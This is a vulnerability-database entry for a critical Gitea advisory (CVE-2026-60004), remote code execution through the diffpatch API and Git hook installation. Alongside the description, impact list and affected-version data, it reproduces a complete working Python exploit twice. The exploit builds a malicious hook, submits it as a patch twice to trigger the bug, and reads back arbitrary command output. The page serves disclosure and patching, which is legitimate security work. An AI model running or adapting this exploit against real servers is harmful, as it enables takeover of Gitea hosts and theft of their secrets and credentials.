Vulnerability-Lookup

GHSA-RCR6-4JQH-J84M

Vulnerability from github – Published: 2026-09-08 17:56 – Updated: 2026-09-08 17:56

Summary

Gitea: Remote Code Execution via diffpatch Git Hook Installation

Details

Summary

Gitea's diffpatch endpoint can be abused to install and execute a Git hook from repository-controlled content.

An attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository.

Details

services/repository/files/patch.go applies attacker-controlled patches in a shared bare temporary clone:

cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")
}
````

Submitting the same patch twice creates an add/add collision. Git's three-way fallback checks the indexed path out even though the operation is performed with `--cached`.

In a bare clone, the repository root is `$GIT_DIR`. As a result, an executable entry named:

```text
hooks/post-index-change

becomes a live Git hook.

Git invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account.

The hook's return value is not propagated to the diffpatch response.

The attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP.

PoC

The supplied gitea_diffpatch_rce_poc.py uses an existing Gitea account. Run it against a test instance where the account can create a repository.

Set the account password:

export GITEA_PASSWORD='account-password'

Execute a command through the diffpatch chain:

python3 ./gitea_diffpatch_rce_poc.py \
  https://gitea.example \
  pocuser \
  'id; uname -srm; pwd'

The script:

Creates an initialized private repository.
Submits the same executable-hook patch twice.
Fetches the result branch.
Prints the command's combined stdout, stderr, and exit status.
Prints the evidence repository, ref, and commit IDs to stderr.

Expected output resembles:

uid=1000(git) gid=1000(git) groups=1000(git)
Linux ...
/data/gitea/tmp/...

[exit-status=0]

The trigger requires:

Git 2.32 or newer.
An enabled diffpatch route.
A writable and executable temporary filesystem.

Open registration is required only for the no-prior-credentials attack path.

Impact

This is remote command execution as the Gitea service account (CWE-94).

Depending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose:

app.ini and Gitea application secrets.
Process environment secrets.
Mounted repositories.
Database credentials and database contents.
OAuth and integration credentials.
Other internal or externally reachable services.

With open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository.

Screenshot 2026-07-25 at 14 45 44

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Gitea RCE PoC – authorized testing only.
"""

from __future__ import annotations

import argparse
import base64
import getpass
import hashlib
import json
import os
from pathlib import Path

import secrets
import shlex
import shutil
import subprocess
import sys
import tempfile

from typing import Any
import urllib.error
import urllib.parse
import urllib.request


TIMEOUT    = 30.0
USER_AGENT = "gitea-rce-poc/2.0"

_RST  = "\033[0m"
_DIM  = "\033[2m"
_GRN  = "\033[38;5;46m"     # bright green
_RED  = "\033[31m"           # red for errors

def _g(t: str) -> str: return f"{_GRN}{t}{_RST}"
def _r(t: str) -> str: return f"{_RED}{t}{_RST}"
def _d(t: str) -> str: return f"{_DIM}{t}{_RST}"

def log_star(msg: str) -> None: print(f"{_g('[*]')} {_d(msg)}")
def log_ok  (msg: str) -> None: print(f"{_g('[+]')} {_g(msg)}")
def log_err (msg: str) -> None: print(f"{_r('[-]')} {_r(msg)}")


_SEP = "  " + "═" * 44
BANNER = f"{_SEP}\n  GITEA  REMOTE CODE EXECUTION  POC\n{_SEP}"

def print_banner(url: str, version: str | None = None,
                 command: str | None = None) -> None:
    print()
    for line in BANNER.splitlines():
        print(_g(line))
    print()
    ver = version or "unknown"
    print(_g("  " + "-" * 54))
    print(_g(f"  Target        : {url}"))
    print(_g(f"  Version       : {ver}"))
    if command:
        print(_g(f"  Command       : {command}"))
    print(_g("  " + "-" * 54))
    print()

class PocError(RuntimeError):
    pass

class GiteaClient:
    def __init__(self, base_url: str, username: str, password: str) -> None:
        parsed = urllib.parse.urlsplit(base_url)
        if parsed.scheme not in {"http", "https"} or not parsed.netloc:
            raise PocError("URL must be an absolute http:// or https:// URL")
        if parsed.query or parsed.fragment:
            raise PocError("URL must not contain a query string or fragment")
        self.base_url = base_url.rstrip("/")
        self.username = username
        self.password = password
        encoded = base64.b64encode(
            f"{username}:{password}".encode()
        ).decode("ascii")
        self.authorization = f"Basic {encoded}"

    def api(
        self,
        method: str,
        path: str,
        payload: dict[str, Any] | None = None,
    ) -> tuple[int, Any]:
        data = None
        if payload is not None:
            data = json.dumps(payload, separators=(",", ":")).encode()
        req = urllib.request.Request(
            self.base_url + path,
            data=data,
            method=method,
            headers={
                "Accept": "application/json",
                "Authorization": self.authorization,
                "Content-Type": "application/json",
                "User-Agent": USER_AGENT,
            },
        )
        try:
            with urllib.request.urlopen(req, timeout=TIMEOUT) as r:
                raw = r.read()
                return r.status, json.loads(raw) if raw else None
        except urllib.error.HTTPError as exc:
            body = exc.read().decode("utf-8", errors="replace")[:2_000]
            raise PocError(f"{method} {path} → HTTP {exc.code}: {body}") from exc
        except urllib.error.URLError as exc:
            raise PocError(f"{method} {path} failed: {exc.reason}") from exc
        except json.JSONDecodeError:
            raise PocError(f"{method} {path} returned invalid JSON")

def blob_oid(content: bytes) -> str:
    return hashlib.sha1(
        f"blob {len(content)}\0".encode("ascii") + content
    ).hexdigest()

def build_hook(command: str, leak_ref: str) -> bytes:
    qcmd = shlex.quote(command)
    qref = shlex.quote(f"refs/heads/{leak_ref}")
    return (
        "#!/bin/sh\n"
        'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n'
        'origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2\n'
        'case "$origin_objects" in\n'
        '  /*) ;;\n'
        '  *) origin_objects="$git_dir/objects/$origin_objects" ;;\n'
        "esac\n"
        'origin_git=${origin_objects%/objects}\n'
        '[ "$origin_git" != "$origin_objects" ] || exit 3\n'
        f"output_blob=$({{ /bin/sh -c {qcmd}; "
        'command_status=$?; printf "\\n[exit-status=%s]\\n" "$command_status"; } 2>&1 | '
        'git --git-dir="$origin_git" hash-object -w --stdin) || exit 4\n'
        'tree=$(printf "100644 blob %s\\toutput\\n" "$output_blob" | '
        'git --git-dir="$origin_git" mktree) || exit 5\n'
        'commit=$(printf "command output\\n" | '
        "GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid "
        "GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid "
        'git --git-dir="$origin_git" commit-tree "$tree") || exit 6\n'
        f'git --git-dir="$origin_git" update-ref {qref} "$commit" || exit 7\n'
        "exit 0\n"
    ).encode()

def build_patch(hook: bytes) -> str:
    lc  = hook.count(b"\n")
    hdr = (
        "diff --git a/hooks/post-index-change b/hooks/post-index-change\n"
        "new file mode 100755\n"
        f"index {'0'*40}..{blob_oid(hook)}\n"
        "--- /dev/null\n"
        "+++ b/hooks/post-index-change\n"
        f"@@ -0,0 +1,{lc} @@\n"
    ).encode()
    return (hdr + b"".join(b"+" + l for l in hook.splitlines(keepends=True))).decode()

def run_git(git: str, arguments: list[str], env: dict[str, str]) -> bytes:
    try:
        result = subprocess.run(
            [git, *arguments], env=env,
            stdin=subprocess.DEVNULL,
            stdout=subprocess.PIPE, stderr=subprocess.PIPE,
            check=False, timeout=TIMEOUT,
        )
    except subprocess.TimeoutExpired as exc:
        raise PocError(f"git timed out after {TIMEOUT:g}s") from exc
    except OSError as exc:
        raise PocError(f"could not run git: {exc}") from exc
    if result.returncode != 0:
        err = result.stderr.decode("utf-8", errors="replace")[:2_000].strip()
        raise PocError(f"git exit {result.returncode}: {err}")
    return result.stdout

def fetch_output(git: str, client: GiteaClient,
                 owner: str, repo: str, leak_ref: str) -> bytes:
    remote = (
        f"{client.base_url}/"
        f"{urllib.parse.quote(owner, safe='')}/"
        f"{urllib.parse.quote(repo, safe='')}.git"
    )
    with tempfile.TemporaryDirectory(prefix="gitea-poc-") as tmp:
        bare      = Path(tmp) / "fetch.git"
        auth_cfg  = Path(tmp) / "auth.config"
        fd = os.open(auth_cfg, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)
        with os.fdopen(fd, "w", encoding="utf-8") as f:
            f.write(f"[http]\n\textraHeader = Authorization: {client.authorization}\n")
        env = {**os.environ, "GIT_TERMINAL_PROMPT": "0"}
        run_git(git, ["init", "--bare", "--quiet", str(bare)], env)
        run_git(git, [
            "-C", str(bare), "-c", f"include.path={auth_cfg}",
            "fetch", "--quiet", "--no-tags",
            remote, f"refs/heads/{leak_ref}",
        ], env)
        return run_git(git, ["-C", str(bare), "show", "FETCH_HEAD:output"], env)

def split_output(raw: bytes) -> tuple[str, int | None]:
    text  = raw.decode("utf-8", errors="replace")
    lines = text.splitlines()
    status: int | None = None
    if lines:
        t = lines[-1].strip()
        if t.startswith("[exit-status=") and t.endswith("]"):
            try:    status = int(t[len("[exit-status="):-1])
            except ValueError: pass
            else:   lines.pop()
    return "\n".join(lines).rstrip("\n"), status


def parse_args() -> argparse.Namespace:
    p = argparse.ArgumentParser(description="Gitea RCE PoC")
    p.add_argument("url",      help="Gitea base URL")
    p.add_argument("username", help="existing Gitea username")
    p.add_argument("command",  help="shell command to execute on target")
    return p.parse_args()


def main() -> int:
    args = parse_args()
    if "\0" in args.command:
        raise PocError("command must not contain a NUL character")

    password = os.environ.get("GITEA_PASSWORD") or getpass.getpass(
        _g("[?]") + " password: "
    )
    if not password:
        raise PocError("password must not be empty")

    git = shutil.which("git")
    if git is None:
        raise PocError("git executable not found in PATH")

    client = GiteaClient(args.url, args.username, password)

    # version probe (pre-banner)
    log_star("probing target...")
    version: str | None = None
    try:
        r = urllib.request.Request(
            client.base_url + "/api/v1/version",
            headers={"Accept": "application/json", "User-Agent": USER_AGENT},
        )
        with urllib.request.urlopen(r, timeout=TIMEOUT) as resp:
            version = json.loads(resp.read()).get("version", "unknown")
    except Exception:
        version = "unknown"
    print_banner(client.base_url, version, args.command)

    log_star(f"target={client.base_url}  user={args.username}  cmd={args.command}")
    print()

    # step 1 – authenticate
    log_star("authenticating...")
    sc, acct = client.api("GET", "/api/v1/user")
    if sc != 200 or not isinstance(acct, dict):
        log_err("authentication failed"); raise PocError("auth failed")
    owner = acct.get("login")
    if not isinstance(owner, str) or not owner:
        log_err("no login in response"); raise PocError("no login")
    log_ok(f"logged in as {owner}  ({version})")

    # step 2 – create repo
    unique   = secrets.token_hex(5)
    repo     = f"test-repo-{unique}"
    leak_ref = f"output-{unique}"
    log_star("creating repository...")
    sc, _ = client.api("POST", "/api/v1/user/repos", {
        "name": repo, "private": True,
        "auto_init": True, "default_branch": "main",
        "object_format_name": "sha1",
    })
    if sc != 201:
        log_err("repo creation failed"); raise PocError("repo creation failed")
    log_ok(f"created repo {owner}/{repo}")

    # steps 3–4 – deliver payloads
    body = {
        "content": build_patch(build_hook(args.command, leak_ref)),
        "message": "initial commit",
        "branch": "main", "new_branch": "main",
    }
    ep = (
        f"/api/v1/repos/{urllib.parse.quote(owner, safe='')}/"
        f"{urllib.parse.quote(repo, safe='')}/diffpatch"
    )
    commits: list[str] = []
    for cycle in (1, 2):
        log_star(f"delivering payload {cycle}/2...")
        sc, resp = client.api("POST", ep, body)
        try:
            commit = resp["commit"]["sha"]
        except (KeyError, TypeError) as exc:
            log_err(f"payload {cycle}/2 rejected")
            raise PocError(f"cycle {cycle} no commit") from exc
        if sc != 201:
            log_err(f"payload {cycle}/2 failed")
            raise PocError(f"cycle {cycle} failed")
        commits.append(commit)
        log_ok(f"payload {cycle}/2 accepted  commit={commit[:16]}")

    # step 5 – retrieve output
    log_star("retrieving output...")
    output = fetch_output(git, client, owner, repo, leak_ref)
    log_ok("operation complete")

    # command output
    cmd_out, exit_status = split_output(output)
    print()
    log_ok(f"{args.command}:")
    print(_g("---"))
    if cmd_out:
        for line in cmd_out.splitlines():
            print(_g(line))
    else:
        print(_d("<no output>"))
    print(_g("---"))
    if exit_status == 0:
        log_ok(f"exit status: {exit_status}")
    elif exit_status is None:
        log_star("exit status: unknown")
    else:
        log_err(f"exit status: {exit_status}")

    return 0


if __name__ == "__main__":
    try:
        raise SystemExit(main())
    except PocError as exc:
        log_err(str(exc))
        raise SystemExit(1) from None

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "gitea.dev"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.17.0"
            },
            {
              "fixed": "1.27.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-60004"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T17:56:30Z",
    "nvd_published_at": "2026-08-26T20:17:56Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nGitea\u0027s `diffpatch` endpoint can be abused to install and execute a Git hook from repository-controlled content.\n\nAn attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository.\n\n### Details\n\n`services/repository/files/patch.go` applies attacker-controlled patches in a shared bare temporary clone:\n\n```go\ncmdApply := gitcmd.NewCommand(\"apply\", \"--index\", \"--recount\", \"--cached\", \"--binary\")\nif git.DefaultFeatures().CheckVersionAtLeast(\"2.32\") {\n    cmdApply.AddArguments(\"-3\")\n}\n````\n\nSubmitting the same patch twice creates an add/add collision. Git\u0027s three-way fallback checks the indexed path out even though the operation is performed with `--cached`.\n\nIn a bare clone, the repository root is `$GIT_DIR`. As a result, an executable entry named:\n\n```text\nhooks/post-index-change\n```\n\nbecomes a live Git hook.\n\nGit invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account.\n\nThe hook\u0027s return value is not propagated to the `diffpatch` response.\n\nThe attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP.\n\n### PoC\n\nThe supplied `gitea_diffpatch_rce_poc.py` uses an existing Gitea account. Run it against a test instance where the account can create a repository.\n\nSet the account password:\n\n```bash\nexport GITEA_PASSWORD=\u0027account-password\u0027\n```\n\nExecute a command through the `diffpatch` chain:\n\n```bash\npython3 ./gitea_diffpatch_rce_poc.py \\\n  https://gitea.example \\\n  pocuser \\\n  \u0027id; uname -srm; pwd\u0027\n```\n\nThe script:\n\n* Creates an initialized private repository.\n* Submits the same executable-hook patch twice.\n* Fetches the result branch.\n* Prints the command\u0027s combined stdout, stderr, and exit status.\n* Prints the evidence repository, ref, and commit IDs to stderr.\n\nExpected output resembles:\n\n```text\nuid=1000(git) gid=1000(git) groups=1000(git)\nLinux ...\n/data/gitea/tmp/...\n\n[exit-status=0]\n```\n\nThe trigger requires:\n\n* Git 2.32 or newer.\n* An enabled `diffpatch` route.\n* A writable and executable temporary filesystem.\n\nOpen registration is required only for the no-prior-credentials attack path.\n\n### Impact\n\nThis is remote command execution as the Gitea service account (`CWE-94`).\n\nDepending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose:\n\n* `app.ini` and Gitea application secrets.\n* Process environment secrets.\n* Mounted repositories.\n* Database credentials and database contents.\n* OAuth and integration credentials.\n* Other internal or externally reachable services.\n\nWith open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository.\n\n\n\u003cimg width=\"928\" height=\"687\" alt=\"Screenshot 2026-07-25 at 14 45 44\" src=\"https://github.com/user-attachments/assets/e7ce9fe7-bcab-4539-82fc-14c3856bda1c\" /\u003e\n\n\n\n\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nGitea RCE PoC \u2013 authorized testing only.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport base64\nimport getpass\nimport hashlib\nimport json\nimport os\nfrom pathlib import Path\n\nimport secrets\nimport shlex\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\n\nfrom typing import Any\nimport urllib.error\nimport urllib.parse\nimport urllib.request\n\n\nTIMEOUT    = 30.0\nUSER_AGENT = \"gitea-rce-poc/2.0\"\n\n_RST  = \"\\033[0m\"\n_DIM  = \"\\033[2m\"\n_GRN  = \"\\033[38;5;46m\"     # bright green\n_RED  = \"\\033[31m\"           # red for errors\n\ndef _g(t: str) -\u003e str: return f\"{_GRN}{t}{_RST}\"\ndef _r(t: str) -\u003e str: return f\"{_RED}{t}{_RST}\"\ndef _d(t: str) -\u003e str: return f\"{_DIM}{t}{_RST}\"\n\ndef log_star(msg: str) -\u003e None: print(f\"{_g(\u0027[*]\u0027)} {_d(msg)}\")\ndef log_ok  (msg: str) -\u003e None: print(f\"{_g(\u0027[+]\u0027)} {_g(msg)}\")\ndef log_err (msg: str) -\u003e None: print(f\"{_r(\u0027[-]\u0027)} {_r(msg)}\")\n\n\n_SEP = \"  \" + \"\u2550\" * 44\nBANNER = f\"{_SEP}\\n  GITEA  REMOTE CODE EXECUTION  POC\\n{_SEP}\"\n\ndef print_banner(url: str, version: str | None = None,\n                 command: str | None = None) -\u003e None:\n    print()\n    for line in BANNER.splitlines():\n        print(_g(line))\n    print()\n    ver = version or \"unknown\"\n    print(_g(\"  \" + \"-\" * 54))\n    print(_g(f\"  Target        : {url}\"))\n    print(_g(f\"  Version       : {ver}\"))\n    if command:\n        print(_g(f\"  Command       : {command}\"))\n    print(_g(\"  \" + \"-\" * 54))\n    print()\n\nclass PocError(RuntimeError):\n    pass\n\nclass GiteaClient:\n    def __init__(self, base_url: str, username: str, password: str) -\u003e None:\n        parsed = urllib.parse.urlsplit(base_url)\n        if parsed.scheme not in {\"http\", \"https\"} or not parsed.netloc:\n            raise PocError(\"URL must be an absolute http:// or https:// URL\")\n        if parsed.query or parsed.fragment:\n            raise PocError(\"URL must not contain a query string or fragment\")\n        self.base_url = base_url.rstrip(\"/\")\n        self.username = username\n        self.password = password\n        encoded = base64.b64encode(\n            f\"{username}:{password}\".encode()\n        ).decode(\"ascii\")\n        self.authorization = f\"Basic {encoded}\"\n\n    def api(\n        self,\n        method: str,\n        path: str,\n        payload: dict[str, Any] | None = None,\n    ) -\u003e tuple[int, Any]:\n        data = None\n        if payload is not None:\n            data = json.dumps(payload, separators=(\",\", \":\")).encode()\n        req = urllib.request.Request(\n            self.base_url + path,\n            data=data,\n            method=method,\n            headers={\n                \"Accept\": \"application/json\",\n                \"Authorization\": self.authorization,\n                \"Content-Type\": \"application/json\",\n                \"User-Agent\": USER_AGENT,\n            },\n        )\n        try:\n            with urllib.request.urlopen(req, timeout=TIMEOUT) as r:\n                raw = r.read()\n                return r.status, json.loads(raw) if raw else None\n        except urllib.error.HTTPError as exc:\n            body = exc.read().decode(\"utf-8\", errors=\"replace\")[:2_000]\n            raise PocError(f\"{method} {path} \u2192 HTTP {exc.code}: {body}\") from exc\n        except urllib.error.URLError as exc:\n            raise PocError(f\"{method} {path} failed: {exc.reason}\") from exc\n        except json.JSONDecodeError:\n            raise PocError(f\"{method} {path} returned invalid JSON\")\n\ndef blob_oid(content: bytes) -\u003e str:\n    return hashlib.sha1(\n        f\"blob {len(content)}\\0\".encode(\"ascii\") + content\n    ).hexdigest()\n\ndef build_hook(command: str, leak_ref: str) -\u003e bytes:\n    qcmd = shlex.quote(command)\n    qref = shlex.quote(f\"refs/heads/{leak_ref}\")\n    return (\n        \"#!/bin/sh\\n\"\n        \u0027git_dir=$(git rev-parse --absolute-git-dir) || exit 1\\n\u0027\n        \u0027origin_objects=$(sed -n \"1p\" \"$git_dir/objects/info/alternates\") || exit 2\\n\u0027\n        \u0027case \"$origin_objects\" in\\n\u0027\n        \u0027  /*) ;;\\n\u0027\n        \u0027  *) origin_objects=\"$git_dir/objects/$origin_objects\" ;;\\n\u0027\n        \"esac\\n\"\n        \u0027origin_git=${origin_objects%/objects}\\n\u0027\n        \u0027[ \"$origin_git\" != \"$origin_objects\" ] || exit 3\\n\u0027\n        f\"output_blob=$({{ /bin/sh -c {qcmd}; \"\n        \u0027command_status=$?; printf \"\\\\n[exit-status=%s]\\\\n\" \"$command_status\"; } 2\u003e\u00261 | \u0027\n        \u0027git --git-dir=\"$origin_git\" hash-object -w --stdin) || exit 4\\n\u0027\n        \u0027tree=$(printf \"100644 blob %s\\\\toutput\\\\n\" \"$output_blob\" | \u0027\n        \u0027git --git-dir=\"$origin_git\" mktree) || exit 5\\n\u0027\n        \u0027commit=$(printf \"command output\\\\n\" | \u0027\n        \"GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid \"\n        \"GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid \"\n        \u0027git --git-dir=\"$origin_git\" commit-tree \"$tree\") || exit 6\\n\u0027\n        f\u0027git --git-dir=\"$origin_git\" update-ref {qref} \"$commit\" || exit 7\\n\u0027\n        \"exit 0\\n\"\n    ).encode()\n\ndef build_patch(hook: bytes) -\u003e str:\n    lc  = hook.count(b\"\\n\")\n    hdr = (\n        \"diff --git a/hooks/post-index-change b/hooks/post-index-change\\n\"\n        \"new file mode 100755\\n\"\n        f\"index {\u00270\u0027*40}..{blob_oid(hook)}\\n\"\n        \"--- /dev/null\\n\"\n        \"+++ b/hooks/post-index-change\\n\"\n        f\"@@ -0,0 +1,{lc} @@\\n\"\n    ).encode()\n    return (hdr + b\"\".join(b\"+\" + l for l in hook.splitlines(keepends=True))).decode()\n\ndef run_git(git: str, arguments: list[str], env: dict[str, str]) -\u003e bytes:\n    try:\n        result = subprocess.run(\n            [git, *arguments], env=env,\n            stdin=subprocess.DEVNULL,\n            stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n            check=False, timeout=TIMEOUT,\n        )\n    except subprocess.TimeoutExpired as exc:\n        raise PocError(f\"git timed out after {TIMEOUT:g}s\") from exc\n    except OSError as exc:\n        raise PocError(f\"could not run git: {exc}\") from exc\n    if result.returncode != 0:\n        err = result.stderr.decode(\"utf-8\", errors=\"replace\")[:2_000].strip()\n        raise PocError(f\"git exit {result.returncode}: {err}\")\n    return result.stdout\n\ndef fetch_output(git: str, client: GiteaClient,\n                 owner: str, repo: str, leak_ref: str) -\u003e bytes:\n    remote = (\n        f\"{client.base_url}/\"\n        f\"{urllib.parse.quote(owner, safe=\u0027\u0027)}/\"\n        f\"{urllib.parse.quote(repo, safe=\u0027\u0027)}.git\"\n    )\n    with tempfile.TemporaryDirectory(prefix=\"gitea-poc-\") as tmp:\n        bare      = Path(tmp) / \"fetch.git\"\n        auth_cfg  = Path(tmp) / \"auth.config\"\n        fd = os.open(auth_cfg, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)\n        with os.fdopen(fd, \"w\", encoding=\"utf-8\") as f:\n            f.write(f\"[http]\\n\\textraHeader = Authorization: {client.authorization}\\n\")\n        env = {**os.environ, \"GIT_TERMINAL_PROMPT\": \"0\"}\n        run_git(git, [\"init\", \"--bare\", \"--quiet\", str(bare)], env)\n        run_git(git, [\n            \"-C\", str(bare), \"-c\", f\"include.path={auth_cfg}\",\n            \"fetch\", \"--quiet\", \"--no-tags\",\n            remote, f\"refs/heads/{leak_ref}\",\n        ], env)\n        return run_git(git, [\"-C\", str(bare), \"show\", \"FETCH_HEAD:output\"], env)\n\ndef split_output(raw: bytes) -\u003e tuple[str, int | None]:\n    text  = raw.decode(\"utf-8\", errors=\"replace\")\n    lines = text.splitlines()\n    status: int | None = None\n    if lines:\n        t = lines[-1].strip()\n        if t.startswith(\"[exit-status=\") and t.endswith(\"]\"):\n            try:    status = int(t[len(\"[exit-status=\"):-1])\n            except ValueError: pass\n            else:   lines.pop()\n    return \"\\n\".join(lines).rstrip(\"\\n\"), status\n\n\ndef parse_args() -\u003e argparse.Namespace:\n    p = argparse.ArgumentParser(description=\"Gitea RCE PoC\")\n    p.add_argument(\"url\",      help=\"Gitea base URL\")\n    p.add_argument(\"username\", help=\"existing Gitea username\")\n    p.add_argument(\"command\",  help=\"shell command to execute on target\")\n    return p.parse_args()\n\n\ndef main() -\u003e int:\n    args = parse_args()\n    if \"\\0\" in args.command:\n        raise PocError(\"command must not contain a NUL character\")\n\n    password = os.environ.get(\"GITEA_PASSWORD\") or getpass.getpass(\n        _g(\"[?]\") + \" password: \"\n    )\n    if not password:\n        raise PocError(\"password must not be empty\")\n\n    git = shutil.which(\"git\")\n    if git is None:\n        raise PocError(\"git executable not found in PATH\")\n\n    client = GiteaClient(args.url, args.username, password)\n\n    # version probe (pre-banner)\n    log_star(\"probing target...\")\n    version: str | None = None\n    try:\n        r = urllib.request.Request(\n            client.base_url + \"/api/v1/version\",\n            headers={\"Accept\": \"application/json\", \"User-Agent\": USER_AGENT},\n        )\n        with urllib.request.urlopen(r, timeout=TIMEOUT) as resp:\n            version = json.loads(resp.read()).get(\"version\", \"unknown\")\n    except Exception:\n        version = \"unknown\"\n    print_banner(client.base_url, version, args.command)\n\n    log_star(f\"target={client.base_url}  user={args.username}  cmd={args.command}\")\n    print()\n\n    # step 1 \u2013 authenticate\n    log_star(\"authenticating...\")\n    sc, acct = client.api(\"GET\", \"/api/v1/user\")\n    if sc != 200 or not isinstance(acct, dict):\n        log_err(\"authentication failed\"); raise PocError(\"auth failed\")\n    owner = acct.get(\"login\")\n    if not isinstance(owner, str) or not owner:\n        log_err(\"no login in response\"); raise PocError(\"no login\")\n    log_ok(f\"logged in as {owner}  ({version})\")\n\n    # step 2 \u2013 create repo\n    unique   = secrets.token_hex(5)\n    repo     = f\"test-repo-{unique}\"\n    leak_ref = f\"output-{unique}\"\n    log_star(\"creating repository...\")\n    sc, _ = client.api(\"POST\", \"/api/v1/user/repos\", {\n        \"name\": repo, \"private\": True,\n        \"auto_init\": True, \"default_branch\": \"main\",\n        \"object_format_name\": \"sha1\",\n    })\n    if sc != 201:\n        log_err(\"repo creation failed\"); raise PocError(\"repo creation failed\")\n    log_ok(f\"created repo {owner}/{repo}\")\n\n    # steps 3\u20134 \u2013 deliver payloads\n    body = {\n        \"content\": build_patch(build_hook(args.command, leak_ref)),\n        \"message\": \"initial commit\",\n        \"branch\": \"main\", \"new_branch\": \"main\",\n    }\n    ep = (\n        f\"/api/v1/repos/{urllib.parse.quote(owner, safe=\u0027\u0027)}/\"\n        f\"{urllib.parse.quote(repo, safe=\u0027\u0027)}/diffpatch\"\n    )\n    commits: list[str] = []\n    for cycle in (1, 2):\n        log_star(f\"delivering payload {cycle}/2...\")\n        sc, resp = client.api(\"POST\", ep, body)\n        try:\n            commit = resp[\"commit\"][\"sha\"]\n        except (KeyError, TypeError) as exc:\n            log_err(f\"payload {cycle}/2 rejected\")\n            raise PocError(f\"cycle {cycle} no commit\") from exc\n        if sc != 201:\n            log_err(f\"payload {cycle}/2 failed\")\n            raise PocError(f\"cycle {cycle} failed\")\n        commits.append(commit)\n        log_ok(f\"payload {cycle}/2 accepted  commit={commit[:16]}\")\n\n    # step 5 \u2013 retrieve output\n    log_star(\"retrieving output...\")\n    output = fetch_output(git, client, owner, repo, leak_ref)\n    log_ok(\"operation complete\")\n\n    # command output\n    cmd_out, exit_status = split_output(output)\n    print()\n    log_ok(f\"{args.command}:\")\n    print(_g(\"---\"))\n    if cmd_out:\n        for line in cmd_out.splitlines():\n            print(_g(line))\n    else:\n        print(_d(\"\u003cno output\u003e\"))\n    print(_g(\"---\"))\n    if exit_status == 0:\n        log_ok(f\"exit status: {exit_status}\")\n    elif exit_status is None:\n        log_star(\"exit status: unknown\")\n    else:\n        log_err(f\"exit status: {exit_status}\")\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    try:\n        raise SystemExit(main())\n    except PocError as exc:\n        log_err(str(exc))\n        raise SystemExit(1) from None\n\n```",
  "id": "GHSA-rcr6-4jqh-j84m",
  "modified": "2026-09-08T17:56:30Z",
  "published": "2026-09-08T17:56:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60004"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38637"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38638"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/470d34b1de87d901bd9135564d5ee18c0d339e82"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/d7bc52beeadff4be5f5690de4d5de42abd10affe"
    },
    {
      "type": "WEB",
      "url": "https://blog.gitea.com/release-of-1.27.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xBlackash/CVE-2026-60004"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.1"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-60004"
    },
    {
      "type": "WEB",
      "url": "https://www.runzero.com/blog/gitea"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: Remote Code Execution via diffpatch Git Hook Installation"
}

CVE-2026-60004 (GCVE-0-2026-60004)

Vulnerability from cvelistv5 – Published: 2026-08-26 19:45 – Updated: 2026-09-08 18:03

Summary

Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: active Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

